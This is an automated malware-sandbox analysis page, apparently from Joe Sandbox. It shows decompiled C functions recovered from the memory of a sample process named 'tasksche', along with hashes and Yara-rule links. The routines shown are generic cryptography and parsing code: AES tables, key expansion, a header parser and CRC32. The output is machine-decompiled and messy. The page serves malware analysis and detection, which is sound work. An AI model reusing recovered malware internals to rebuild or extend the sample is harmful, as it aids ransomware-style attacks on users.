								_v56 =  *_t344;
								_v52 =  *((intOrPtr*)(_t344 + 4));
								_v48 =  *((intOrPtr*)(_t344 + 8));
								_v44 =  *((intOrPtr*)(_t344 + 0xc));
								 *_t312 = _v40;
								_t312[1] = _v36;
								_t312[2] = _v32;
								_t312[3] = _v28;
								_t344 = _t344 + 0x10;
								_t312 =  &(_t312[4]);
								_t200 =  &_a8;
								 *_t200 = _a8 - 1;
							} while ( *_t200 != 0);
							_pop(_t311);
						}
						_t204 = E0041C290(_t311, _t342, _t346, _v8,  &_v56, 0x10);
					} else {
						_t204 = E0040C46D(__ecx, _a4, _t342, _a12);
					}
				}
				return _t204;
			}

0x0040cb23
0x0040cb26
0x0040cb2d
0x0040cb31
0x0040cb3e
0x0040cb40
0x0040cb59
0x0040cb60
0x0040cb68
0x0040cb6d
0x0040cb73
0x0040cb76
0x0040cb77
0x0040cb7a
0x0040cb8a
0x0040cbbf
0x0040cbee
0x0040cc1d
0x0040cc48
0x0040cc4e
0x0040cc52
0x0040cc62
0x0040cc65
0x0040cc68
0x0040cc73
0x0040cca8
0x0040ccd7
0x0040cd06
0x0040cd0a
0x0040cd35
0x0040cd35
0x0040cd38
0x0040cd38
0x0040cc68
0x0040cd4d
0x0040cd5c
0x0040cd69
0x0040cd76
0x0040cd83
0x0040cd8a
0x0040cd90
0x0040cd9d
0x0040cdaa
0x0040cdb7
0x0040cdbe
0x0040cdc4
0x0040cdd1
0x0040cdde
0x0040cdeb
0x0040cdf2
0x0040cdf8
0x0040ce05
0x0040ce12
0x0040ce1f
0x0040ce2b
0x0040ce34
0x0040ce3f
0x0040ce3f
0x0040ce46
0x0040ce4c
0x0040ce52
0x0040ce58
0x0040ce5e
0x0040ce63
0x0040ce69
0x0040ce6f
0x0040ce72
0x0040ce75
0x0040ce78
0x0040ce78
0x0040ce78
0x0040ce81
0x0040ce81
0x0040ce8b
0x0040cb42
0x0040cb49
0x0040cb49
0x0040ce93
0x0040ce96

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10288e97197f0ad943ca35c4742294250ec2590f5ea2a5543df369fbf88b7a0a
Instruction ID: 755fc568a246bd0a3aab6df15388740ae6706893d1001b075bd9344283f82762
Opcode Fuzzy Hash: 10288e97197f0ad943ca35c4742294250ec2590f5ea2a5543df369fbf88b7a0a
Instruction Fuzzy Hash: FFC151B48182D9AECF01DFA5D4A09FEBFF4AF1A240B0950DAE5D5A7252C234D720DB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040C756 Relevance: .2, Instructions: 195
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040C756() {
				signed char _v8;
				char _v521;
				signed int _t98;
				signed int _t100;
				signed int _t102;
				signed char _t105;
				signed char _t106;
				char _t107;
				void* _t108;
				signed char _t119;
				signed int _t120;
				signed int _t129;
				signed char* _t155;
				signed int _t156;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				signed int _t181;
				signed int _t182;
				void* _t183;

				_t107 = 0;
				_t98 = 1;
				do {
					 *(_t183 + _t107 - 0x304) = _t98;
					 *(_t183 + _t107 - 0x205) = _t98;
					 *((char*)(_t183 + _t98 - 0x104)) = _t107;
					_t107 = _t107 + 1;
					asm("sbb edx, edx");
					_t98 = _t98 ^  ~(_t98 & 0x00000080) & 0x0000011b ^ _t98 + _t98;
				} while (_t98 != 1);
				_t108 = 0;
				do {
					asm("sbb edx, edx");
					 *(_t108 + 0x4385e0) = _t98;
					_t98 = _t98 + _t98 ^  ~(_t98 & 0x00000080) & 0x0000011b;
					_t108 = _t108 + 1;
				} while (_t108 < 0x1e);
				_t105 = 0;
				_v8 = 0;
				L6:
				L6:
				if(_t105 == 0) {
					_t100 = 0;
				} else {
					_t100 =  *( &_v521 - ( *(_t183 + (_t105 & 0x000000ff) - 0x104) & 0x000000ff)) & 0x000000ff;
				}
				_t119 = (_t100 ^ (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) + (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100)) >> 0x00000008 ^ _t100 ^ (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) + (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) ^ 0x00000063;
				_t102 = _t105 * 4;
				_t16 = _t102 + 0x4375e0; // 0x4375e0
				_t155 = _t16;
				 *(_t105 + 0x438700) = _t119;
				_t155[1] = _t119;
				 *_t155 = _t119;
				 *(_t102 + 0x4379e3) = _t119;
				 *(_t102 + 0x4379e0) = _t119;
				 *(_t102 + 0x437de3) = _t119;
				 *(_t102 + 0x437de2) = _t119;
				 *(_t102 + 0x4381e2) = _t119;
				 *(_t102 + 0x4381e1) = _t119;
				if(_t119 == 0) {
					_t156 = 0;
				} else {
					_t156 =  *(_t183 + ( *(_t183 + (_t119 & 0x000000ff) - 0x104) & 0x000000ff) - 0x2eb) & 0x000000ff;
				}
				 *(_t102 + 0x4375e3) = _t156;
				 *(_t102 + 0x4379e2) = _t156;
				 *(_t102 + 0x437de1) = _t156;
				 *(_t102 + 0x4381e0) = _t156;
				if(_t119 == 0) {
					_t120 = 0;
				} else {
					_t120 =  *(_t183 + ( *(_t183 + (_t119 & 0x000000ff) - 0x104) & 0x000000ff) - 0x303) & 0x000000ff;
				}
				 *(_t102 + 0x4375e2) = _t120;
				 *(_t102 + 0x4379e1) = _t120;
				 *(_t102 + 0x437de0) = _t120;
				 *(_t102 + 0x4381e3) = _t120;
				_t181 = _t105 & 0x000000ff;
				if((((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) >> 0x00000008 ^ ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) ^ 0x00000005) == 0) {
					_t106 = 0;
				} else {
					_t106 =  *((intOrPtr*)( &_v521 - ( *(_t183 + (((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) >> 0x00000008 & 0x000000ff ^ ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) & 0x000000ff ^ 0x00000005) - 0x104) & 0x000000ff)));
				}
				 *(_v8 + 0x438600) = _t106;
				if(_t106 == 0) {
					_t161 = 0;
				} else {
					_t161 =  *(_t183 + ( *(_t183 + (_t106 & 0x000000ff) - 0x104) & 0x000000ff) - 0x29c) & 0x000000ff;
				}
				_t182 = _t106 & 0x000000ff;
				_t129 = _t182 << 2;
				 *(_t102 + 0x4365e2) = _t161;
				 *(_t102 + 0x4369e1) = _t161;
				 *(_t102 + 0x436de0) = _t161;
				 *(_t102 + 0x4371e3) = _t161;
				 *(_t129 + 0x4355e2) = _t161;
				 *(_t129 + 0x4359e1) = _t161;
				 *(_t129 + 0x435de0) = _t161;
				 *(_t129 + 0x4361e3) = _t161;
				if(_t106 == 0) {
					_t162 = 0;
				} else {
					_t162 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x23d) & 0x000000ff;
				}
				 *(_t102 + 0x4365e0) = _t162;
				 *(_t102 + 0x4369e3) = _t162;
				 *(_t102 + 0x436de2) = _t162;
				 *(_t102 + 0x4371e1) = _t162;
				 *(_t129 + 0x4355e0) = _t162;
				 *(_t129 + 0x4359e3) = _t162;
				 *(_t129 + 0x435de2) = _t162;
				 *(_t129 + 0x4361e1) = _t162;
				if(_t106 == 0) {
					_t163 = 0;
				} else {
					_t163 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x216) & 0x000000ff;
				}
				 *(_t102 + 0x4365e1) = _t163;
				 *(_t102 + 0x4369e0) = _t163;
				 *(_t102 + 0x436de3) = _t163;
				 *(_t102 + 0x4371e2) = _t163;
				 *(_t129 + 0x4355e1) = _t163;
				 *(_t129 + 0x4359e0) = _t163;
				 *(_t129 + 0x435de3) = _t163;
				 *(_t129 + 0x4361e2) = _t163;
				if(_t106 == 0) {
					_t164 = 0;
				} else {
					_t164 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x225) & 0x000000ff;
				}
				_v8 = _v8 + 1;
				 *(_t102 + 0x4365e3) = _t164;
				 *(_t102 + 0x4369e2) = _t164;
				 *(_t102 + 0x436de1) = _t164;
				 *(_t102 + 0x4371e0) = _t164;
				 *(_t129 + 0x4355e3) = _t164;
				 *(_t129 + 0x4359e2) = _t164;
				 *(_t129 + 0x435de1) = _t164;
				 *(_t129 + 0x4361e0) = _t164;
				if(_v8 < 0x100) {
					goto L5;
				}
				return _t102;
				L5:
				_t105 = _v8;
				goto L6;
			}

0x0040c763
0x0040c765
0x0040c76c
0x0040c774
0x0040c77b
0x0040c782
0x0040c789
0x0040c78c
0x0040c795
0x0040c797
0x0040c79c
0x0040c79f
0x0040c7a9
0x0040c7ab
0x0040c7b5
0x0040c7b7
0x0040c7b8
0x0040c7bd
0x0040c7bf
0x00000000
0x0040c7c7
0x0040c7c9
0x0040c7e3
0x0040c7cb
0x0040c7de
0x0040c7de
0x0040c7fd
0x0040c800
0x0040c807
0x0040c807
0x0040c80d
0x0040c813
0x0040c816
0x0040c818
0x0040c81e
0x0040c824
0x0040c82a
0x0040c830
0x0040c836
0x0040c83c
0x0040c853
0x0040c83e
0x0040c849
0x0040c849
0x0040c855
0x0040c85b
0x0040c861
0x0040c867
0x0040c86f
0x0040c886
0x0040c871
0x0040c87c
0x0040c87c
0x0040c888
0x0040c88e
0x0040c894
0x0040c89a
0x0040c8a0
0x0040c8bb
0x0040c8ef
0x0040c8bd
0x0040c8eb
0x0040c8eb
0x0040c8f4
0x0040c8fc
0x0040c913
0x0040c8fe
0x0040c909
0x0040c909
0x0040c915
0x0040c91a
0x0040c91d
0x0040c923
0x0040c929
0x0040c92f
0x0040c935
0x0040c93b
0x0040c941
0x0040c947
0x0040c94f
0x0040c963
0x0040c951
0x0040c959
0x0040c959
0x0040c965
0x0040c96b
0x0040c971
0x0040c977
0x0040c97d
0x0040c983
0x0040c989
0x0040c98f
0x0040c997
0x0040c9ab
0x0040c999
0x0040c9a1
0x0040c9a1
0x0040c9ad
0x0040c9b3
0x0040c9b9
0x0040c9bf
0x0040c9c5
0x0040c9cb
0x0040c9d1
0x0040c9d7
0x0040c9df
0x0040c9f3
0x0040c9e1
0x0040c9e9
0x0040c9e9
0x0040c9f5
0x0040c9ff
0x0040ca05
0x0040ca0b
0x0040ca11
0x0040ca17
0x0040ca1d
0x0040ca23
0x0040ca29
0x0040ca2f
0x00000000
0x00000000
0x0040ca38
0x0040c7c4
0x0040c7c4
0x00000000

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e054519032d673b283cd141de9047936413c4ec94c95275afdf7b1c1e6e7c11b
Instruction ID: cc05d4957c3f93bbff5645bcbd2bf23a73745bdaee5f26767fd414b38deba9ac
Opcode Fuzzy Hash: e054519032d673b283cd141de9047936413c4ec94c95275afdf7b1c1e6e7c11b
Instruction Fuzzy Hash: 7281E35220E2E18EE71AC73C14E96F63FA11F72100B2EA2EEC4CD4F6D7D665051AD729

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4FF Relevance: .2, Instructions: 166
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040C4FF(intOrPtr __ecx, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int* _v12;
				signed char* _v16;
				signed char* _v20;
				signed char* _v24;
				signed char* _v28;
				char _v40;
				signed int _v41;
				signed int _v42;
				signed int _v43;
				signed int _v44;
				signed char _v45;
				signed char _v46;
				signed char _v47;
				signed char _v48;
				char _v56;
				signed int _v57;
				signed int _v58;
				signed int _v59;
				signed int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t102;
				signed int _t104;
				signed char _t108;
				signed int _t119;
				signed int* _t135;
				signed int* _t136;
				signed int _t137;
				char* _t138;
				void* _t139;
				void* _t140;
				intOrPtr _t141;
				void* _t142;
				void* _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				void* _t151;
				void* _t157;

				_t141 = __ecx;
				_v8 = __ecx;
				_t119 =  *((intOrPtr*)(__ecx + 4)) - 6;
				E0041C290(_t119, __ecx, _t147,  &_v60, _a4, 0x20);
				_t102 = 0;
				_t140 = 0;
				_a4 = 0;
				if(_t119 <= 0) {
					L9:
					if(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
						_t104 = _t119 << 2;
						_v16 = _t157 + _t104 - 0x3b;
						_v20 = _t157 + _t104 - 0x3a;
						_v24 = _t157 + _t104 - 0x39;
						_v28 = _t157 + _t104 - 0x3c;
						_v12 = 0x4385e0;
						do {
							_t108 = _v60 ^  *(( *_v16 & 0x000000ff) + 0x438700);
							_v60 = _t108;
							_v59 = _v59 ^  *(( *_v20 & 0x000000ff) + 0x438700);
							_v58 = _v58 ^  *(( *_v24 & 0x000000ff) + 0x438700);
							_v57 = _v57 ^  *(( *_v28 & 0x000000ff) + 0x438700);
							_t102 = _t108 ^  *_v12;
							_v12 =  &(_v12[0]);
							_v60 = _t102;
							if(_t119 == 8) {
								_t135 =  &_v56;
								_t142 = 3;
								do {
									_t148 = 4;
									do {
										 *_t135 =  *_t135 ^  *(_t135 - 4);
										_t135 =  &(_t135[0]);
										_t148 = _t148 - 1;
									} while (_t148 != 0);
									_t142 = _t142 - 1;
								} while (_t142 != 0);
								_v44 = _v44 ^  *((_v48 & 0x000000ff) + 0x438700);
								_v43 = _v43 ^  *((_v47 & 0x000000ff) + 0x438700);
								_v42 = _v42 ^  *((_v46 & 0x000000ff) + 0x438700);
								_v41 = _v41 ^  *((_v45 & 0x000000ff) + 0x438700);
								_t136 =  &_v40;
								_t143 = 3;
								do {
									_t149 = 4;
									do {
										_t102 =  *((intOrPtr*)(_t136 - 4));
										 *_t136 =  *_t136 ^ _t102;
										_t136 =  &(_t136[0]);
										_t149 = _t149 - 1;
									} while (_t149 != 0);
									_t143 = _t143 - 1;
								} while (_t143 != 0);
								goto L26;
							} else {
								if(_t119 > 1) {
									_t138 =  &_v56;
									_t145 = _t119 - 1;
									do {
										_t151 = 0;
										do {
											_t102 =  *((intOrPtr*)(_t138 + _t151 - 4));
											 *(_t138 + _t151) =  *(_t138 + _t151) ^ _t102;
											_t151 = _t151 + 1;
										} while (_t151 < 4);
										_t138 = _t138 + 4;
										_t145 = _t145 - 1;
									} while (_t145 != 0);
									L26:
									_t141 = _v8;
								}
							}
							_t137 = 0;
							if(_t119 <= 0) {
								goto L36;
							} else {
								while(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
									if(_t137 < _t119) {
										_t102 = _t157 + _t137 * 4 - 0x38;
										while(_a4 < 4) {
											_t137 = _t137 + 1;
											_t102 = _t102 + 4;
											_a4 = _a4 + 1;
											asm("movsd");
											_t141 = _v8;
											if(_t137 < _t119) {
												continue;
											}
											goto L33;
										}
									}
									L33:
									if(_a4 == 4) {
										_t140 = _t140 + 1;
										_a4 = _a4 & 0x00000000;
									}
									if(_t137 < _t119) {
										continue;
									} else {
										goto L36;
									}
									goto L37;
								}
							}
							goto L37;
							L36:
						} while (_t140 <=  *((intOrPtr*)(_t141 + 4)));
					}
				} else {
					while(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
						if(_t102 < _t119) {
							_t139 = _t157 + _t102 * 4 - 0x38;
							while(_a4 < 4) {
								_t102 = _t102 + 1;
								_t139 = _t139 + 4;
								_a4 = _a4 + 1;
								asm("movsd");
								_t141 = _v8;
								if(_t102 < _t119) {
									continue;
								}
								goto L6;
							}
						}
						L6:
						if(_a4 == 4) {
							_t140 = _t140 + 1;
							_a4 = _a4 & 0x00000000;
						}
						if(_t102 < _t119) {
							continue;
						} else {
							goto L9;
						}
						goto L37;
					}
				}
				L37:
				return _t102;
			}

0x0040c50d
0x0040c516
0x0040c519
0x0040c51c
0x0040c521
0x0040c526
0x0040c52a
0x0040c52d
0x0040c56f
0x0040c572
0x0040c57a
0x0040c581
0x0040c588
0x0040c593
0x0040c596
0x0040c599
0x0040c5a0
0x0040c5a9
0x0040c5b2
0x0040c5be
0x0040c5cd
0x0040c5dc
0x0040c5e2
0x0040c5e4
0x0040c5e7
0x0040c5ed
0x0040c613
0x0040c616
0x0040c617
0x0040c619
0x0040c61a
0x0040c61d
0x0040c61f
0x0040c620
0x0040c620
0x0040c623
0x0040c623
0x0040c630
0x0040c63d
0x0040c64a
0x0040c657
0x0040c65c
0x0040c65f
0x0040c660
0x0040c662
0x0040c663
0x0040c663
0x0040c666
0x0040c668
0x0040c669
0x0040c669
0x0040c66c
0x0040c66c
0x00000000
0x0040c5ef
0x0040c5f2
0x0040c5f4
0x0040c5f7
0x0040c5fa
0x0040c5fa
0x0040c5fc
0x0040c5fc
0x0040c600
0x0040c603
0x0040c604
0x0040c609
0x0040c60c
0x0040c60c
0x0040c66f
0x0040c66f
0x0040c66f
0x0040c5f2
0x0040c672
0x0040c676
0x00000000
0x00000000
0x0040c678
0x0040c67f
0x0040c681
0x0040c685
0x0040c696
0x0040c697
0x0040c69a
0x0040c69f
0x0040c6a0
0x0040c6a3
0x00000000
0x00000000
0x00000000
0x0040c6a3
0x0040c685
0x0040c6a5
0x0040c6a9
0x0040c6ab
0x0040c6ac
0x0040c6ac
0x0040c6b2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c6b2
0x0040c678
0x00000000
0x0040c6b4
0x0040c6b4
0x0040c5a0
0x00000000
0x0040c52f
0x0040c53a
0x0040c53c
0x0040c540
0x0040c551
0x0040c552
0x0040c555
0x0040c55a
0x0040c55b
0x0040c55e
0x00000000
0x00000000
0x00000000
0x0040c55e
0x0040c540
0x0040c560
0x0040c564
0x0040c566
0x0040c567
0x0040c567
0x0040c56d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c56d
0x0040c52f
0x0040c6c1
0x0040c6c1

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aae54acdac3927cc066ee4afd89015ce1ad81bcf754d871dab6d471837bf2d3e
Instruction ID: ff0af43037c4d522a8ee791cbe8e93d8d44487ff0532052a3f1666816209b0e9
Opcode Fuzzy Hash: aae54acdac3927cc066ee4afd89015ce1ad81bcf754d871dab6d471837bf2d3e
Instruction Fuzzy Hash: CF51F874804298AACF11CFA4C4D05FDBFB0EF5A328F6955BFD8857B282C2356646CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041450F Relevance: .1, Instructions: 109
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0041450F(void* __ebx, intOrPtr __ecx, signed int* _a4, char _a7, signed int* _a8, signed char _a11) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _t40;
				signed int _t41;
				signed int _t47;
				intOrPtr _t48;
				unsigned int _t49;
				signed int _t53;
				void* _t57;
				void* _t58;
				signed char _t60;
				void* _t64;
				unsigned char _t75;
				intOrPtr _t87;
				signed int* _t91;
				signed int* _t92;
				signed int _t93;
				intOrPtr _t94;

				_t58 = __ebx;
				_t92 = _a4;
				_t91 = _a8;
				_t91[3] = _t91[3] & 0x00000000;
				_v16 = __ecx;
				if(_t92[2] != 0 ||  *_t92 <=  *((intOrPtr*)(__ecx + 0x78)) - 7) {
					L3:
					_push(_t58);
					E004097BA(_t92,  ~(_t92[1]) & 0x00000007);
					_t60 = E004097D1(_t92) >> 8;
					_a11 = _t60;
					E004097BA(_t92, 8);
					_t40 = _t60 & 0x000000ff;
					_t64 = (_t40 >> 0x00000003 & 0x00000003) + 1;
					if(_t64 == 4) {
						L9:
						_t41 = 0;
						L13:
						return _t41;
					}
					_t10 = _t64 + 2; // 0x3
					_t91[3] = _t10;
					_t91[1] = (_t40 & 0x00000007) + 1;
					_a7 = E004097D1(_t92) >> 8;
					E004097BA(_t92, 8);
					_t47 = 0;
					_v12 = 0;
					if(_t64 <= 0) {
						L8:
						_t75 = _a11;
						 *_t91 = _t47;
						if((_t47 >> 0x00000010 ^ _t47 >> 0x00000008 ^ _t47 ^ _t75 ^ 0x0000005a) == _a7) {
							_t93 =  *_t92;
							_t87 = _t93 + _t47 - 1;
							_t48 = _v16;
							_t91[2] = _t93;
							_t94 =  *((intOrPtr*)(_t48 + 0x7c));
							if(_t94 < _t87) {
								_t87 = _t94;
							}
							 *((intOrPtr*)(_t48 + 0x7c)) = _t87;
							_t41 = 1;
							_t91[4] = _t75 >> 0x00000006 & 0x00000001;
							_t91[4] = _t75 >> 7;
							goto L13;
						}
						goto L9;
					}
					_v8 = 0;
					do {
						_t49 = E004097D1(_t92);
						_v8 = _v8 + 8;
						_v12 = _v12 + (_t49 >> 8 << _v8);
						_t53 = _t92[1] + 8;
						 *_t92 =  *_t92 + (_t53 >> 3);
						_t64 = _t64 - 1;
						_t92[1] = _t53 & 0x00000007;
					} while (_t64 != 0);
					_t47 = _v12;
					goto L8;
				}
				_t57 = E004123EB(__ebx, __ecx);
				if(_t57 != 0) {
					goto L3;
				}
				return _t57;
			}

0x0041450f
0x00414516
0x0041451a
0x0041451d
0x00414525
0x00414528
0x00414541
0x00414546
0x0041454d
0x0041455b
0x00414562
0x00414565
0x0041456a
0x00414575
0x00414579
0x004145f6
0x004145f6
0x00414624
0x00000000
0x00414624
0x0041457b
0x00414581
0x00414587
0x00414596
0x00414599
0x0041459e
0x004145a0
0x004145a5
0x004145d9
0x004145e5
0x004145ef
0x004145f4
0x004145fa
0x004145fc
0x00414600
0x00414603
0x00414606
0x0041460b
0x0041460d
0x0041460d
0x0041460f
0x00414617
0x0041461e
0x00414621
0x00000000
0x00414621
0x00000000
0x004145f4
0x004145a7
0x004145aa
0x004145ac
0x004145b4
0x004145bd
0x004145c3
0x004145cb
0x004145d0
0x004145d1
0x004145d1
0x004145d6
0x00000000
0x004145d6
0x00414534
0x0041453b
0x00000000
0x00000000
0x00414628

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b2d21a1de5244f25583c5063fbcf28c6649e746e5830653507aa8b0461497a
Instruction ID: 1b781f1f23d015917a337ea3c6206954a5313e6084e2437016288461132a8366
Opcode Fuzzy Hash: 51b2d21a1de5244f25583c5063fbcf28c6649e746e5830653507aa8b0461497a
Instruction Fuzzy Hash: EF312372A10605ABCB04DF38C4912DEBBE2EF81308F14812FD865DB782D37DA945CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: .1, Instructions: 73
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00405610(unsigned int _a4, signed char _a8, unsigned int _a12) {
				signed char _t30;
				signed char _t32;
				signed char _t52;
				signed char _t57;
				unsigned int _t72;

				_t52 = _a8;
				_t30 = _a4;
				_t72 = _a12;
				while(_t72 > 0 && (_t52 & 0x00000007) != 0) {
					_t30 = _t30 >> 0x00000008 ^  *(0x4315a0 + ( *_t52 & 0x000000ff ^ _t30 & 0x000000ff) * 4);
					_t72 = _t72 - 1;
					_t52 = _t52 + 1;
				}
				if(_t72 >= 8) {
					_a4 = _t72 >> 3;
					do {
						_t57 =  *(_t52 + 4);
						_t32 = _t30 ^  *_t52;
						_t72 = _t72 - 8;
						_t52 = _t52 + 8;
						_t26 =  &_a4;
						 *_t26 = _a4 - 1;
						_t30 =  *(0x4319a0 + (_t57 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4315a0 + (_t57 >> 0x18) * 4) ^  *(0x431da0 + (_t57 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4325a0 + (_t32 >> 0x18) * 4) ^  *(0x4329a0 + (_t32 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x432da0 + (_t32 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4321a0 + (_t57 & 0x000000ff) * 4) ^  *(0x4331a0 + (_t32 & 0x000000ff) * 4);
					} while ( *_t26 != 0);
					L9:
					while(_t72 > 0) {
						_t30 = _t30 >> 0x00000008 ^  *(0x4315a0 + ( *_t52 & 0x000000ff ^ _t30 & 0x000000ff) * 4);
						_t72 = _t72 - 1;
						_t52 = _t52 + 1;
					}
					return _t30;
				}
				goto L9;
			}

0x00405613
0x00405616
0x0040561a
0x0040561e
0x00405632
0x00405639
0x0040563a
0x0040563a
0x00405640
0x0040564b
0x0040564f
0x0040564f
0x00405652
0x004056bc
0x004056bf
0x004056c2
0x004056c2
0x004056c5
0x004056c5
0x00000000
0x004056e0
0x004056d7
0x004056de
0x004056df
0x004056df
0x004056e7
0x004056e7
0x00000000

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 866ee34adc6fec30ee19582cd252525266032b464ccb2f20f1e66a817629a287
Instruction ID: 2ccb413243c8e3f3810094ea986113c02d7a387cc67c693c5ca68079d889c8bb
Opcode Fuzzy Hash: 866ee34adc6fec30ee19582cd252525266032b464ccb2f20f1e66a817629a287
Instruction Fuzzy Hash: 2821D872A106716BD7048F65EC8412733A2D7CA3617DB4237DF445B3B1D135B922CAE8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3DC Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 139
COMMON

